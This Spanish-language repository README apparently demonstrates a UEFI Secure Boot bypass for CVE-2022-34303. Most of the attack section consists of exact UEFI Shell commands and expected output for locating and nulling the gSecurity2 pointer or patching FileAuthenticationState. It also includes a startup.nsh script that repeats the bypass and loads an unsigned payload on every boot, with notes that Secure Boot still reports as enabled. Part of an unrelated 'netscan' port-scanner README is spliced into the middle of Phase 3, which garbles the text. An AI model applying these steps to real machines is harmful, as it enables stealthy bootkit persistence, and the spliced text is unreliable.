themalwareguardian/cve-2022-34303Demuestra el bypass de Secure Boot de CVE-2022-34303 mediante el UEFI Shell firmado por CryptoPro, utilizando el comando mm para anular gSecurity2 y cargar aplicaciones UEFI sin firmar.
CryptoPro Secure Disk UEFI Shell - Bring Your Own Vulnerable UEFI Application (BYOVUA) - Omisión de Secure Boot mediante un UEFI Shell firmado y corrupción de gSecurity2.
Este repositorio demuestra la técnica BYOVUA (Bring Your Own Vulnerable UEFI Application) explotando CVE-2022-34303, una vulnerabilidad de omisión de Secure Boot en el entorno de arranque UEFI de CryptoPro Secure Disk.
En este caso, el componente en el que confía Secure Boot es un shim personalizado firmado por la UEFI Third Party Certificate Authority de Microsoft. Una vez ejecutado, este shim carga un UEFI Shell como segunda etapa, lo que expone el comando mm (memory modify) y, por lo tanto, proporciona capacidades de lectura y escritura arbitraria de memoria durante la fase de arranque previa al sistema operativo.
Esta primitiva puede entonces utilizarse para localizar y anular el puntero global gSecurity2 en el núcleo DXE. Como resultado, la verificación posterior de imágenes UEFI queda deshabilitada, permitiendo que se carguen aplicaciones UEFI no firmadas, bootkits, a pesar de que Secure Boot esté habilitado.
BYOVUA es el equivalente UEFI de la técnica BYOVD (Bring Your Own Vulnerable Driver) utilizada a nivel de kernel. En lugar de traer un controlador de kernel firmado con una vulnerabilidad, el atacante trae una aplicación UEFI firmada - en este caso, un UEFI Shell completo - que contiene funcionalidad capaz de socavar Secure Boot.
Debido a que la aplicación - en este caso, el shim personalizado que carga el UEFI Shell como segunda etapa - está firmada con un certificado de confianza de Microsoft, es aceptada por Secure Boot sin cuestionamientos, lo que la hace confiable en cualquier sistema que incluya este certificado en su base de datos de Secure Boot (db) - que es prácticamente cualquier PC con capacidad UEFI comercializada en la última década. Una vez en ejecución, sus comandos integrados proporcionan al atacante acceso directo al hardware y a la memoria que opera antes de que se cargue el sistema operativo, en un entorno donde los controles de seguridad modernos (ASLR, DEP, protecciones del kernel) simplemente no existen.
Shell_Full.efi es un UEFI Shell distribuido como parte de CryptoPro Secure Disk, un producto de autenticación previa al arranque y cifrado de disco.
| Propiedad | Valor |
|---|
| Archivo | Shell_Full.efi = EFI/Boot/BootX64.efi (SHIM) -> EFI/CPSD/Bootxsa.efi (Shell) |
| Fabricante | CryptoPro Secure Disk |
| CVE | CVE-2022-34303 |
| Firma | Microsoft Corporation UEFI CA 2011 (Third Party) |
| Descubrimiento | Eclypsium (Mickey Shkatov, Jesse Michael) - Agosto 2022 |
| Presentación | DEF CON 30 - "One Bootloader to Load Them All" |
| Revocación | Añadido a DBX mediante Microsoft KB5012170 (Agosto 2022) |
La vulnerabilidad no es un bug - es un fallo de diseño. Los UEFI Shells son herramientas de diagnóstico legítimas que nunca fueron concebidas para ejecutarse en entornos con Secure Boot. Sin embargo, al firmarlos con un certificado de confianza de Microsoft y distribuirlos como parte de productos comerciales, los fabricantes crearon inadvertidamente una omisión firmada para Secure Boot.
El problema central: un binario firmado en el que confía Secure Boot proporciona capacidades de lectura/escritura de memoria sin restricciones a través de sus comandos integrados. Esta combinación rompe todo el modelo de confianza de Secure Boot.
El comando mm (memory modify) es un comando integrado estándar del UEFI Shell que proporciona acceso directo de lectura y escritura a la memoria del sistema. Está documentado en la UEFI Shell Specification (Sección 5.3).```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| Parámetro | Descripción |
|-----------|-------------|
| `Address` | Dirección de memoria objetivo |
| `Value` | Valor a escribir (omitir para solo lectura) |
| `-w` | Ancho: 1, 2, 4 u 8 bytes |
| `-MEM` | Acceso a memoria del sistema |
| `-MMIO` | E/S mapeada en memoria |
| `-IO` | Acceso a puerto de E/S |
| `-n` | No interactivo (sin solicitud de siguiente dirección) |
---
<div id='gsecurity2'/>
### ***gSecurity2 y el Protocolo de Arquitectura de Seguridad***
La verificación de imágenes de arranque seguro en UEFI se aplica a través de los [Protocolos de Arquitectura de Seguridad](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), definidos en la Especificación de Inicialización de Plataforma (PI) de UEFI.
El núcleo DXE (DxeMain) mantiene un puntero global llamado [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), que apunta a la estructura `EFI_SECURITY2_ARCH_PROTOCOL`. Este protocolo contiene un único puntero a función - `FileAuthenticationState` - que es llamado por `LoadImage()` cada vez que se carga una imagen UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
Cuando se llama a LoadImage(), el núcleo DXE verifica:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
Al establecer `gSecurity2 = NULL`, la comprobación `if` falla y `FileAuthenticationState` nunca se llama. La verificación de imagen se omite por completo - **Secure Boot permanece "habilitado" pero ya no se aplica**. Las aplicaciones UEFI sin firmar pueden cargarse libremente.
Para una comprensión técnica profunda de esta técnica, incluida una aplicación UEFI creada específicamente que localiza y parchea automáticamente gSecurity2, consulte el proyecto complementario: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).
---
<div id='BYOVD'/>
### ***Paralelismo con BYOVD en el kernel***
El paralelismo estructural entre UEFI BYOVUA y BYOVD en el kernel es exacto:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
Ambos ataques explotan la misma falla fundamental: un componente firmado en el que confía un mecanismo de seguridad proporciona la primitiva necesaria para deshabilitar ese mismo mecanismo.
El Shell_Full.efi firmado se coloca en la Partición del Sistema EFI (ESP) y se configura como una opción de arranque. Debido a que está firmado con una cadena de certificados en la que confía Secure Boot, el firmware lo valida y lo carga sin problemas.```
EFI System Partition (ESP)
└── EFI/
└── Boot/
| └── BootX64.efi (SHIM) ← Signed by Microsoft Windows UEFI Driver Publisher
|
└── CPSD/
└── Bootxsa.efi (Shell) ← Signed by Security Coding Factory Software CA
└── startup.nsh (Script) ← Auto-executed on shell launch
---
<div id='Phase2'/>
### ***Fase 2 - Enumerar los manejadores del protocolo Security2***
Desde el UEFI Shell, el objetivo es encontrar el manejador que expone el `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) y obtener la dirección de memoria de su interfaz de protocolo.
> **Nota:** El comando `dh -p <GUID>` no resuelve GUIDs sin procesar en la mayoría de las compilaciones del Shell EDK2 - solo reconoce nombres de protocolos registrados. El enfoque a continuación funciona en cualquier versión del Shell EDK2.
**Paso 1 - Encontrar el manejador de SecurityStubDxe**
Listar todos los manejadores y buscar `SecurityStubDxe`, que es el controlador DXE que instala ambos Protocolos Arquitectónicos de Seguridad:```
Shell> dh
En la salida, identifique el handle cargado como SecurityStubDxe:```
10: Image(SecurityStubDxe)
**Paso 2 - Inspeccionar los handles adyacentes**
`SecurityStubDxe` instala los protocolos de Security en un handle separado, normalmente el que está inmediatamente después. Estos handles aparecen vacíos en el listado corto porque el Shell no puede asignar sus GUIDs a nombres descriptivos. Inspecciónalos con el modo verbose:```
Shell> dh -v 11
Salida esperada:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
Si el handle `0x11` no contiene estos GUIDs, pruebe con `0x12` - el número de handle exacto varía entre compilaciones de firmware.
**Paso 3 - Registrar la dirección de la interfaz**
Los dos protocolos y sus direcciones de interfaz son:
| GUID | Protocolo | Dirección de interfaz |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
La **dirección de interfaz de Security2** (`0x3EE8C3A0` en este ejemplo) es el valor almacenado por el puntero global `gSecurity2` dentro de DxeMain. Este valor es necesario para la Fase 3.
---
<div id='Phase3'/>
### ***Fase 3 - Localizar gSecurity2 en memoria***
La variable `gSecurity2` es un puntero global dentro del núcleo DXE (`DxeMain`). Su valor es igual a la dirección de interfaz del protocolo encontrada en la Fase 2. El objetivo es encontrar la dirección de memoria donde se almacena este puntero - no el valor del puntero, sino la variable en sí.
**Paso 1 - Obtener el diseño de la imagen del núcleo DXE**```
Shell> dh -v 1
git clone https://github.com/example/netscan.git
cd netscan
pip install -r requirements.txt
python netscan.py -t 192.168.1.0/24 -p 1-1000
| Opción | Descripción |
|---|---|
-t | IP objetivo o rango CIDR |
-p | Rango de puertos a escanear |
-sV | Detección de versión de servicio |
-O | Detección de sistema operativo |
-o | Archivo de salida |
Escanear una única IP:
python netscan.py -t 192.168.1.1
Escanear una subred con detección de servicios:
python netscan.py -t 192.168.1.0/24 -sV
Este proyecto está licenciado bajo la Licencia MIT.``` Handle 01 (3F4ECB18) Image (3FEAFB08) File:DxeCore ImageBase.....: 3FE94000 - 3FEBB000 ImageSize.....: 27000
Registrar `ImageBase` (`0x3FE94000`).
**Paso 2 - Analizar las cabeceras PE para encontrar la sección `.data`**
La sección `.data` contiene las variables globales inicializadas, incluida `gSecurity2`. En lugar de escanear toda la imagen a ciegas, analiza las cabeceras PE para encontrar los límites exactos de `.data`.
Lee la cabecera MZ para obtener el desplazamiento de la cabecera PE (DWORD en el desplazamiento `0x3C`):```
Shell> dmem <ImageBase> 100
En la salida, observe el desplazamiento 0x3C desde ImageBase. Por ejemplo, si ImageBase es 0x3FE94000:```
3FE9403C: C0 00 00 00
Esto significa que la firma PE está en el desplazamiento `0xC0` desde `ImageBase`.
**Paso 3 - Leer la tabla de secciones**
El desplazamiento de la tabla de secciones se calcula como:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader
Lee el encabezado COFF para obtener SizeOfOptionalHeader (WORD en PE_offset + 20):```
Shell> dmem <ImageBase + PE_offset> 20
Para una imagen UEFI PE32+ (x64), `SizeOfOptionalHeader` es típicamente `0xF0`. En nuestro ejemplo:```
section_table = 0x3FE94000 + 0xC0 + 4 + 20 + 0xF0 = 0x3FE941C8
Volcar la tabla de secciones (5 secciones × 40 bytes = 200 bytes):``` Shell> dmem 3FE941C8 140
Cada entrada de sección tiene 40 bytes:
| Offset | Size | Field |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |
Busca la entrada de la sección `.data`. Ejemplo de salida:```
3FE941F0: 2E 64 61 74 61 00 00 00 ← ".data"
3FE941F8: B0 9E 00 00 ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00 ← VirtualAddress (RVA) = 0x1AA60
Calcular los límites absolutos de .data:```
data_start = ImageBase + VirtualAddress = 0x3FE94000 + 0x1AA60 = 0x3FEAEA60
data_end = data_start + VirtualSize = 0x3FEAEA60 + 0x9EB0 = 0x3FEB4910
**Paso 4 - Escanear `.data` en busca del puntero de interfaz**
Busca la dirección de la interfaz Security2 en orden de bytes little-endian dentro del rango `.data`. Para una dirección de interfaz de `0x3EE8C3A0`, busca:```
A0 C3 E8 3E 00 00 00 00
Escanear en bloques de 0x200 bytes comenzando desde data_start:```
Shell> dmem 3FEAEA60 200
Shell> dmem 3FEAEC60 200
Shell> dmem 3FEAEE60 200
...
Continúe a través del rango `.data` hasta encontrar la secuencia de bytes. Los punteros `gSecurity` (Security1) y `gSecurity2` (Security2) se almacenan de forma consecutiva, así que busque ambos valores adyacentes entre sí:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00 ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00 ← gSecurity = 0x3EE8C398
Consejo: La sección
.datatambién contiene las estructuras de la EFI System Table (IBI SYST,DXE_SERV,BOOTSERV,RUNTSERV). Los punteros de seguridad suelen estar ubicados después de estas estructuras. Si detectas estas firmas mientras escaneas, sigue adelante: te estás acercando.
Paso 5 - Confirmar la dirección
Verifica leyendo la ubicación exacta:``` Shell> dmem 3FEB0C08 10
Expected output:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00-98 C3 E8 3E 00 00 00 00
La dirección 0x3FEB0C08 es donde se almacena gSecurity2 - este es el objetivo para la Fase 4.
Una vez que se conoce la dirección de la variable gSecurity2, un único comando mm desactiva la verificación de Secure Boot:```
Shell> mm <gSecurity2_address> 0 -w 8 -MEM
> **Nota:** El comando `mm` puede no aceptar el prefijo `0x` en el argumento de dirección. Utilice la dirección hexadecimal sin procesar directamente.
Ejemplo:```
Shell> mm 3FEB0C08 0 -w 8 -MEM
Esto escribe 8 bytes de ceros en el puntero gSecurity2. El núcleo DXE ahora omitirá todas las comprobaciones de verificación de imágenes en LoadImage().
Para verificar el parche:``` Shell> dmem <gSecurity2_address> 10
Los primeros 8 bytes deberían leerse `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00
Ten en cuenta que gSecurity (Security1, segundo qword) permanece intacto - solo se anula Security2, lo cual es suficiente para eludir la verificación de LoadImage().
Con gSecurity2 anulado, se puede cargar cualquier aplicación UEFI independientemente de su estado de firma:```
Shell> fs1:
fs1:> MyUnsignedApp.efi
O usando `load` para controladores:```
Shell> load fs1:\MyUnsignedDriver.efi
El sistema operativo aún no ha arrancado. Cualquier aplicación UEFI cargada en este punto se ejecuta con acceso completo al hardware, antes de que se inicialice cualquier control de seguridad a nivel de sistema operativo.
El UEFI Shell ejecuta automáticamente startup.nsh desde el directorio actual o la raíz del ESP en cada inicio. Al codificar el parche mm en este script, el bypass de Secure Boot se ejecuta automáticamente en cada arranque:```nsh
mm <gSecurity2_address> 0 -w 8 -MEM
load fs1:\payload.efi
Ejemplo:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi
El sistema continúa reportando Secure Boot como "habilitado" - solo la aplicación en tiempo de ejecución está deshabilitada. Esto hace que el ataque sea invisible para las consultas de estado de Secure Boot a nivel del sistema operativo.
Importante: La dirección
gSecurity2(0x3FEB0C08en este ejemplo) es específica de la compilación del firmware. Si el firmware se actualiza o se recompila, la dirección debe recalcularse repitiendo las Fases 2 y 3.
Encontrar la dirección gSecurity2 es específico del firmware y debe repetirse cada vez que el firmware se actualice o recompile. El proceso de alto nivel es:```
Step 1 Step 2 Step 3
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ dh │──> │ dh -v │──> │ dh -v 1 │
│ │ │ │ │ │
│ Find │ │ Inspect adjacent │ │ Get DxeMain │
│ SecurityStubDxe │ │ handle for │ │ ImageBase and │
│ handle number │ │ Security2 GUID and │ │ ImageSize │
│ │ │ Interface address │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
│
v
Step 6 Step 5 Step 4
┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │
│ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │
│ │ │ -MEM │ │ scan for Interface │
│ First 8 bytes │ │ │ │ address bytes in │
│ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │
│ │ │ active │ │ │
└─────────────────────┘ └──────────────────────┘ └──────────────────────┘
---
---
---
<div id='Exploit'/>
## ***Exploit***
Se proporcionan dos enfoques:
**Enfoque A - Parchear FileAuthenticationState:** Sobrescribe los primeros 4 bytes de la función de verificación con `xor rax, rax; ret` (`48 31 C0 C3`), haciendo que devuelva EFI_SUCCESS sin realizar ninguna comprobación. Este enfoque utiliza los comandos `dh`, `dmem` y `mm` para resolver el puntero de la función a través de la interfaz del protocolo Security2 y no requiere buscar en la memoria de DxeMain.
**Enfoque B - Anular el puntero gSecurity2:** Localiza la variable global gSecurity2 dentro de la sección `.data` de DxeMain y escribe NULL en ella. Esta es la técnica descrita por Eclypsium en la divulgación de BombShell e implementada programáticamente en el repositorio [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Este enfoque requiere analizar las cabeceras PE de DxeMain para encontrar los límites de la sección `.data`, y luego escanear manualmente la memoria con `dmem` para localizar la dirección del puntero.
Ambos scripts están diseñados para seguirse paso a paso, con cada comando explicado. Ejecútalos primero de forma interactiva y, una vez que se conozcan las direcciones correctas para el firmware objetivo, crea un `startup.nsh` para la ejecución automatizada en cada arranque.
---
---
---
<div id='LabSetup'/>
## ***Configuración del laboratorio***
### DBX (Base de datos de firmas prohibidas)
El shell firmado se ha añadido a la lista de revocación DBX de Microsoft mediante KB5012170 (agosto de 2022). En sistemas actualizados, Secure Boot rechazará el shell.
Para el entorno de laboratorio, necesitas un sistema donde:
- La DBX no se haya actualizado con la entrada de revocación para este shell específico
- O la DBX esté vacía (VM recién creada con las claves de Secure Boot predeterminadas)
- O utilices un entorno QEMU/OVMF con inscripción personalizada de claves de Secure Boot
El [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) proporciona una configuración automatizada para esto.
### Alternativa: Cualquier shell UEFI firmado con el comando mm
La técnica no es específica de `Shell_Full.efi`. Se puede utilizar cualquier UEFI Shell que exponga el comando `mm` y esté firmado con un certificado de confianza (Microsoft CA o específico del OEM). Como se documenta en la investigación [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) de Eclypsium (octubre de 2025), se han encontrado shells UEFI firmados con capacidades peligrosas en productos de múltiples fabricantes, incluidos portátiles Framework (afectando a aproximadamente 200.000 dispositivos).
---
---
---
<div id='References'/>
## ***Referencias***
### Directamente relacionadas
- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Colección seleccionada de aplicaciones UEFI firmadas vulnerables conocidas
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Análisis técnico profundo de la técnica de corrupción de gSecurity2, incluida una aplicación UEFI creada específicamente que localiza y parchea automáticamente el puntero
### Investigación de Eclypsium
- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Investigación sobre el uso de shells UEFI firmados para la manipulación de memoria con scripting .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Investigación original de Eclypsium que divulga CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Presentación de Mickey Shkatov y Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Investigación de octubre de 2025 que demuestra el ataque gSecurity2 mediante el comando mm en portátiles Framework (200.000 dispositivos afectados)
### Especificaciones UEFI
- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentación para los comandos mm y dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Referencia del código fuente para el puntero global gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Definición oficial del Security2 Architectural Protocol
### Avisos
- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34303](https://nvd.nist.gov/vuln/detail/CVE-2022-34303)